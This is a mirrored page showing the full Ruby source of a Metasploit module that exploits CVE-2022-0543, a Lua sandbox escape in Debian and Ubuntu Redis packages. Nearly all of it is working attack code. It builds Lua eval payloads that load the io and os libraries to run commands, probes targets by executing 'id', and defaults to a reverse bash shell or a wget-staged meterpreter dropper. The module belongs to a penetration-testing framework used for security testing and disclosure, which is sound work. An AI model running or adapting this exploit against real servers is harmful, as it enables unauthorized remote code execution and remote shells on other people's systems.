CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::CmdStager
11
include Msf::Auxiliary::Redis
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Redis Lua Sandbox Escape',
18
'Description' => %q{
19
This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The
20
vulnerability was introduced by Debian and Ubuntu Redis packages that
21
insufficiently sanitized the Lua environment. The maintainers failed to
22
disable the package interface, allowing attackers to load arbitrary libraries.
23
24
On a typical `redis` deployment (not docker), this module achieves execution
25
as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the
26
"MemoryDenyWriteExecute" permission, which limits some of what an attacker can
27
do. For example, staged meterpreter will fail when attempting to use mprotect.
28
As such, stageless meterpreter is the preferred payload.
29
30
Redis can be configured with authentication or not. This module will work with
31
either configuration (provided you provide the correct authentication details).
32
This vulnerability could theoretically be exploited across a few architectures:
33
i386, arm, ppc, etc. However, the module only supports x86_64, which is likely
34
to be the most popular version.
35
},
36
'License' => MSF_LICENSE,
37
'Author' => [
38
'Reginaldo Silva', # Vulnerability discovery and PoC
39
'jbaines-r7' # Metasploit module
40
],
41
'References' => [
42
[ 'CVE', '2022-0543' ],
43
[ 'URL', 'https://www.lua.org/pil/8.2.html'],
44
[ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ],
45
[ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ],
46
[ 'URL', 'https://ubuntu.com/security/CVE-2022-0543' ]
47
],
48
'DisclosureDate' => '2022-02-18',
49
'Platform' => ['unix', 'linux'],
50
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
51
'Privileged' => false,
52
'Targets' => [
53
[
54
'Unix Command',
55
{
56
'Platform' => 'unix',
57
'Arch' => ARCH_CMD,
58
'Type' => :unix_cmd,
59
'Payload' => {},
60
'DefaultOptions' => {
61
'PAYLOAD' => 'cmd/unix/reverse_bash'
62
}
63
}
64
],
65
[
66
'Linux Dropper',
67
{
68
'Platform' => 'linux',
69
'Arch' => [ARCH_X86, ARCH_X64],
70
'Type' => :linux_dropper,
71
'CmdStagerFlavor' => [ 'wget'],
72
'DefaultOptions' => {
73
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
74
}
75
}
76
]
77
],
78
'DefaultTarget' => 0,
79
'DefaultOptions' => {
80
'MeterpreterTryToFork' => true,
81
'RPORT' => 6379
82
},
83
'Notes' => {
84
'Stability' => [CRASH_SAFE],
85
'Reliability' => [REPEATABLE_SESSION],
86
'SideEffects' => [ARTIFACTS_ON_DISK]
87
}
88
)
89
)
90
register_options([
91
OptString.new('TARGETURI', [true, 'Base path', '/']),
92
OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']),
93
OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword'])
94
])
95
end
96
97
# See https://github.com/rapid7/metasploit-framework/pull/13143
98
def has_check?
99
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
100
end
101
102
# Use popen to execute the desired command and read back the output. This
103
# is how the original PoC did it.
104
def do_popen(cmd)
105
exploit = "eval '" \
106
"local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \
107
'local io = io_l(); ' \
108
"local f = io.popen(\"#{cmd}\", \"r\"); " \
109
'local res = f:read("*a"); ' \
110
'f:close(); ' \
111
"return res' 0" \
112
"\n"
113
sock.put(exploit)
114
sock.get(read_timeout)
115
end
116
117
# Use os.execute to execute the desired command. This doesn't return any output, and likely
118
# isn't meaningfully more useful than do_open but I wanted to demonstrate other execution
119
# possibility not demonstrated by the original poc.
120
def do_os_exec(cmd)
121
exploit = "eval '" \
122
"local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \
123
'local os = os_l(); ' \
124
"local f = os.execute(\"#{cmd}\"); " \
125
"' 0" \
126
"\n"
127
128
sock.put(exploit)
129
sock.get(read_timeout)
130
end
131
132
def check
133
connect
134
135
# Before we get crazy sending exploits over the wire, let's just check if this could
136
# plausiably be a vulnerable version. Using INFO we can check for:
137
#
138
# 1. 4 < Version < 6.1
139
# 2. OS contains Linux
140
# 3. redis_git_sha1:00000000
141
#
142
# We could probably fingerprint the build_id as well, but I'm worried I'll overlook at
143
# package somewhere and it's nice to get final verification via exploitation anyway.
144
info_output = redis_command('INFO')
145
return Exploit::CheckCode::Unknown('Failed authentication.') if info_output.nil?
146
return Exploit::CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux'
147
return Exploit::CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000'
148
149
redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version]
150
return Exploit::CheckCode::Safe('Could not extract a version number') if redis_version.nil?
151
return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0')
152
return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0')
153
return Exploit::CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64'
154
155
# okay, looks like a worthy candidate. Attempt exploitation.
156
result = do_popen('id')
157
return Exploit::CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil?
158
159
Exploit::CheckCode::Safe("Could not execute 'id' on the remote target.")
160
ensure
161
disconnect
162
end
163
164
def execute_command(cmd, _opts = {})
165
connect
166
167
# force the redis mixin to handle auth for us
168
info_output = redis_command('INFO')
169
fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil?
170
171
# escape any single quotes
172
cmd = cmd.gsub("'", "\\\\'")
173
174
# On success, there is no meaningful response. I think this is okay because we already have
175
# solid proof of execution in check.
176
resp = do_os_exec(cmd)
177
fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1')
178
print_good('Exploit complete!')
179
ensure
180
disconnect
181
end
182
183
def exploit
184
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
185
case target['Type']
186
when :unix_cmd
187
execute_command(payload.encoded)
188
when :linux_dropper
189
execute_cmdstager
190
end
191
end
192
end
193
194